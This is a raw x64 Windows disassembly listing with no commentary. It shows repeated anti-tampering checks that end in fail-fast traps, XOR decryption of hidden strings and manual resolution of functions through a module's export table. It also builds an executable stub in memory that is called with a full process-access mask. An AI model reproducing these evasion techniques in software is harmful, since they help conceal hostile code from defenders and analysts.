mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bacf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001bb8a
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bb6a
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bb6a
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bb8a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001bc34
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bc14
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bc14
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bc34
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
call fcn.140085c60
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140027f08
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001bcfe
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bcde
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bcde
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bcfe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001bda8
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bd88
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bd88
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bda8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001be52
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001be32
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001be32
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001be52
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001befc
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bedc
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bedc
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001befc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001bfa6
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bf86
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bf86
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bfa6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001c06a
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c04a
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c04a
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c06a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001c114
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c0f4
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c0f4
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c114
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.1400274a0
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001c1e6
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c1c6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c1c6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c1e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14001c502
xor r14d, r14d
mov r8d, 0xd745567d
mov rax, qword gs:[0x56]
cmp rax, r8
jne 0x14001c2a8
mov rax, qword gs:[0x5d]
mov ecx, 0xcc8395cb
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c5c5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c5c5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001c5c5
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14001731c
mov r15d, eax
mov rcx, qword gs:[0x56]
mov r8d, 0xd745567d
mov r9d, 0xab19a096
cmp rcx, r8
jne 0x14001c373
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14001c5e5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14001c5e5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14001c5e5
test r15d, r15d
jne 0x14001c645
mov rax, qword gs:[0x56]
cmp rax, r8
jne 0x14001c412
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14001c605
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14001c605
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14001c605
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x56]
cmp rax, r8
jne 0x14001c4d9
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14001c625
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14001c625
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14001c625
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14001c20d
xor r15d, r15d
mov r14d, 0xd745567d
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140026316
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c5a5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c5a5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026316
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14008cc28
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x1bc49b45
mov dword [rbp + 0x214], 0x8ba59fed
mov dword [rbp + 0x218], 0x28de6d85
mov word [rbp + 0x21c], 0xeb
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1825ef713
movabs r9, 0x139ed28c04
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x273da51808
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x210]
xor dil, r8b
mov byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14001c6e8
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xee1adb29
mov dword [rbp + 0x84], 0xfdad1e51
mov word [rbp + 0x88], 0xea
mov r8, r14
movabs r9, 0xd9556afb4
mov r10d, 9
movabs r11, 0x1b2aad5f68
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14001c78e
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001ca17
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001ca17
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001ca17
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001ca17
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001ca17
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001c889
inc rax
test edi, edi
jne 0x14001c874
test r8d, r8d
je 0x14001c89b
inc rdx
cmp rdx, rsi
jb 0x14001c863
jmp 0x14001ca17
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001ca17
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14001ca14
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140085c60
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140027f08
lea rcx, [rbp + 0x7420]
call fcn.1400274a0
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.1400274a0
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001c929
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400af6e0
mov dword [0x1400e9cc4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400e9cc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e9cc8]
mov word [rdi + 8], ax
mov al, byte [0x1400e9cca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400afd80
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e9cc4], r14d
test edi, edi
js 0x14001ca2a
jmp 0x14001ca17
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14001ca40
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140016de4
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x56]
ja 0x140025f80
mov r15d, 0xd745567d
cmp rax, r15
jne 0x14001cb03
mov rax, qword gs:[0x5d]
mov esi, 0xcc8395cb
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cae3
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cae3
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cb03
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7200]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400d73c0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x41c65abb
mov word [rbp + 0xbc4], 0x3241
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x1825ef713
movabs r9, 0x395a18acf8
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x72b43159f0
cmp r9, rax
jb 0x14001cb63
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14000a58c
mov rax, qword gs:[0x56]
cmp rax, r15
mov esi, 0xcc8395cb
movabs rbx, 0xfee0f20abddaa1c0
jne 0x14001cc96
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cc76
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cc76
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cc96
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
call fcn.140017044
mov rcx, qword gs:[0x56]
test al, al
jne 0x14001d02c
cmp rcx, r15
jne 0x14001cd4d
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cd2d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cd2d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cd4d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xef
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r13, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001cd97
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400d7210]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rbx, 0x5d92ffd6d8
mov r9d, Ordinal_33
movabs r10, 0x2ec97feb6c
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, rbx
jb 0x14001ce38
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x56]
cmp rax, r15
movabs rbx, 0xfee0f20abddaa1c0
jne 0x14001cf7e
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cf5e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cf5e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cf7e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r15
jne 0x1400268f3
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d00c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d00c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400268f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
cmp rcx, r15
jne 0x14001d0cd
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d0ad
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d0ad
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d0cd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7390]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1825ef713
movabs r9, 0x1825ef7140
lea r10d, [rax + 0x10]
movabs r11, 0x304bdee280
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x248]
xor dil, r8b
